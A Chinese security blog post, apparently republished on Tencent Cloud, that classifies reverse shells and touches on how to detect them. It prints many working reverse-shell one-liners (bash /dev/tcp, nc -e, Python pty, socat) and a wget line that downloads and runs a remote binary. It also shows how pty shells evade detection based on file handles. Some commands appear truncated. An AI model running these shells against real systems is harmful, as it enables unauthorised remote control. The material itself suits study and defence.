前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >不一样的 "反弹Shell" 系统剖析

不一样的 "反弹Shell" 系统剖析

作者头像
七夜安全博客
发布2020-06-16 15:06:32
2.6K0
发布2020-06-16 15:06:32
举报
文章被收录于专栏:七夜安全博客七夜安全博客

前言

前两篇文章讲解了cmdpowershell混淆的各种姿势,原理和防御方式,希望能对大家有启发。

本篇的主题是反弹shell,将之前总结的对反弹shel的思考和大家分享一下。

每周写写博客,写写总结,虽然有时候很疲惫,但是能把技术和大家分享交流,本身是一件令人开心的事情。每周更新,我要努力坚持下去,

大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。

有你们的坚持,才有更好的世界。

一.思考

学而不思则罔

本质

反弹shell在渗透测试中经常会用到,属于常备技能之一。所谓反弹shell,我对它的理解:一是反弹,二是shell。反弹指的是被控端主动通过网络连接到受控端,shell指的是将命令行的输入输出转发到受控端。因此 反弹shell包括两部分的内容:

  1. 网络连接
  2. 命令执行

分类

针对网络连接和命令执行这两方面做文章, 衍生出了多种多样的反弹shell。首先按照交互方式可以分为5大类:

  1. 命令执行
  2. 非交互式
  3. 半交互式
  4. 交互式
  5. 完全交互式

是不是有点懵,交互方式怎么这么多种???可能和大家理解的不太一样,这是渗透测试中对反弹shell递进的需求造成的。

按照通信协议可以分为 5大类,基本上涵盖了常见的协议,这也是反弹shell走向成熟的一个标志。

  1. tcp
  2. udp
  3. icmp
  4. http/s
  5. dns

按照流量数据来分,分为三大类:

  1. 明文
  2. 加密
  3. 口令

其中,口令大家可能没啥感觉,主要是在反弹shell后,client和server进行一下身份验证。

思维导图

最近做分享,越来越喜欢使用思维导图,整理思路确实是一把好手,不过下面的思维导图,反反复复修改了很多次。一开始站的高度不够,整理出来的都是各种反弹shell命令,其实这些东西都有专门的网站收集,写了没有意义,还是理解的不够,又改了几版,反复验证每条命令的原理和梳理检测方案,才有了下面反弹shell的整体框架.。

二.反弹姿势

实践出真知

下面根据思维导图的顺序讲解一下反弹shell的各种姿势,按照交互方式划分,更能贴近渗透测试的真实场景。

1.命令执行

命令执行类,简单来说就是 网络连接和命令执行不是连续的,有几种情况,网络连接不是长连接,命令执行不是长shell, 或者两者都存在。

如何判断一个反弹shell是命令执行类呢? 当反弹shell运行后,在控制端输入 bash -i ,如果无法产生交互式,则说明是命令执行类。

(1) 网络是长连接,命令执行是短shell模式

client端从server接收到待执行的命令,启动bash执行这个命令,并将命令的结果返回给server。比较典型的是awk和tclsh。

awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print echo 'set s [socket 127.0.0.1 8080];while 42 { puts -nonewline s "shell>";flush s;gets s c;set e "exec c";if {![catch {set r [eval s r }; flush s; }; close s;' | tclsh

(2) 网络是短连接,命令执行是长shell模式

client向server发送请求,server将命令内容响应给client, client 获取命令内容,通过管道发送给bash执行,并读取执行结果,最后通过请求再发给server,完成一个流程。

这种的比较少见,因为没有必要这么麻烦,反正都无法产生交互式,没必要这么复杂,因此更多地是第一种和第三种。

(3) 网络是短连接,命令执行是短shell模式

结构是上面两个的拼接,这种反弹shell,采用http/s协议,通过心跳包的方式,传递命令和结果,因为http/s是短链接,命令执行时间较短,相对来说不容易检测。

在Metasploit 中,通过 reverse_http和reverse_https这两种payload,可以生成。之前我还写过基于icmp的反弹shell,感兴趣的童鞋,可以看一下我之前写的文章:

《Python3实现ICMP远控后门》

在公众号中回复 15 可以获得源码。

2.非交互式

非交互式的反弹shell,非常传统,很容易被检测到,例如nc 反弹,部分bash手法反弹(bash 不加 -i ),如何判断是不是非交互式反弹shell呢?

在反弹shell连接后,输入 history 命令,看是否有输出,如果没有输出,说明是非交互式的,其本质是

非交互式反弹shell 没有上下文

在下面的网址中,基本上囊括了常见的反弹shell手法,主要是命令执行类,非交互式,半交互式和部分交互式。

https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8080

非交互式反弹shell的基本结构如下,网络连接与命令输入输出构成一条连续的通道。

以nc为例,在控制端运行 nc-lvp8080,在被控端运行 nc-e/bin/sh127.0.0.18080,在控制端运行 history 是没有任何反应的。

为什么说这种类型比较好检测呢?我们看一下被控端反弹的bash,它打开的文件句柄是和普通程序不同的,输入输出都连接着管道,同时其他句柄有网络连接。

我们接着看一下bash直接反弹的非交互式shell,被控端运行如下命令,控制端命令如上。

代码语言:javascript
复制
$ exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0

这种情况特征依然很明显,sh的输入输出句柄都有网络连接。

3.半交互式

上面讲解了非交互式,更进一步,聊一下半交互式。半交互式,大家可能没有太多的概念,但是使用的时候还是挺多的,例如 bash -i 这种类型的反弹,其实属于半交互式。我说一下对半交互式shell 的模糊定义:shell 有一定程度的上下文,但和终端有较大的差距。如何判断是否是半交互式shell,运行两个命令就可以知道:

  1. 运行history 命令,有输出
  2. 运行top命令,无输出。

如何产生半交互式反弹shell呢?大致有如下两种办法,我们依次试一下:

(1) 在非交互式反弹中,运行 bash -i

在上一节的基础上,控制端运行 bash -i ,我们看到受控端机器上的当前路径被映射到了本地:

接着运行history 命令,为了方便截图,使用grep进行了过滤:

最后运行一下 top,报了 top:failed ttyget这个错误,无法获取一个终端,这也是我将它定义为半交互式的原因。

(2) 直接反弹 bash -i

$ bash -i >& /dev/tcp/127.0.0.1/8080 0>&1 $ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1 $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.交互式

半交互式反弹shell 虽然有了一定程度的交互能力,但距离一个终端还是有很大的距离,为了提高交互能力,将半交互式提升为交互式,我们需要引入伪终端pty。引入伪终端,不仅增强了交互能力,而且有了更强的对抗能力。无论是半交互还是非交互的反弹shell,有一个明显的特征,bash的输入输出要么连接着管道,要么连接着socket,但是伪终端生成反弹shell,输入输出和正常情况一样。生成交互式反弹shell大致有两种方式,一种是直接反弹pty,另一种是在普通反弹shell中,生成pty。

(1) 直接反弹pty

在Python中有一个pty的包,专门用来生成伪终端,我们可以使用pty 反弹bash,并与之绑定:

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在控制端输入 top命令,看看是否有动态输出:

接着查看一下反弹 bash的输入输出上是否有管道或者socket绑定,我们发现bash 的输入输出和正常一样,传统的检测策略:依靠bash 输入输出绑定管道和socket的检测方式失效了

(2) 在普通shell中生成pty

在非交互式 或半交互式反弹shell中,利用python 执行如下命令,即可生成pty,相当于把上面的一句话拆成了两部分使用,这种还是比较常见的。

$ python -c 'import pty; pty.spawn("/bin/bash")'

如果系统中没有python环境,比如容器中,如果系统存在script命令也是可以。

5.完全交互式

我们有了交互式的反弹shell,已经非常接近正常终端,但是在使用的过程中,还是发现了很多不同,比如 无法用tab补齐命令,无法删除命令,ctrl+c会 直接退出了shell。如何才能打造出和正常终端一样操作的反弹shell呢?其实还是有办法的。

(1) socat

socat是一款优秀的反弹shell工具,其生成的反弹shell和普通终端一样易用。在控制端运行:

$ socat file: tty,raw,echo=0 TCP-L:8080

在受控端运行:

$ socat tcp-connect:127.0.0.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane

在socat反弹shell里,使用tab 补齐 whoami命令,感觉和正常终端没有什么区别。

在渗透测试中,如果想更好的使用socat,大家可以使用 下面的脚本生成静态编译的socat。

https://github.com/andrew-d/static-binaries/tree/master/socat/build.sh

然后将socat 放到VPS上,远程下载执行:

wget -q https://xxx.com/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080

(2) pty + 重置终端

"pty + 重置终端"的方式真的很奇妙,强制反弹shell匹配控制端的本地终端。在控制端:

1.首先检查当前终端和STTY信息

echo TERM $ stty -a

2.nc开启监听:

$ nc -lvp 8080

在受控端,只需要使用一个普通的反弹shell连接到控制端即可,剩下的工作在控制端做就可以了:

3.启用python交互式

$ python -c 'import pty; pty.spawn("/bin/bash")'

4.把它丢到后台挂起

$ ctrl + z

5.重置stty,也就意味着你看不到输入的内容

$ stty raw -echo

6.把后台挂起的程序调回前台,这个时候在终端看不到fg的。

$ fg

7.完全刷新终端屏幕

$ reset

8.接下来设置环境变量,根据第一步得到的环境变量来设置

$ export SHELL=bash $ export TERM=xterm $ stty rows 42 columns 162

最后的效果如下,继续使用tab 补全whoami命令:

参考文献:

https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8888 https://www.cnblogs.com/r00tgrok/p/reverseshellcheatsheet.html https://github.com/andrew-d/static-binaries https://www.cnblogs.com/LittleHann/p/12038070.html

最后

原创不易,希望大家能积极分享

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一.思考
    • 本质
      • 分类
        • 思维导图
        • 二.反弹姿势
          • 1.命令执行
            • 2.非交互式
              • 3.半交互式
                • 4.交互式
                  • 5.完全交互式
                    • 参考文献:
                • 最后
                相关产品与服务
                网站渗透测试
                网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档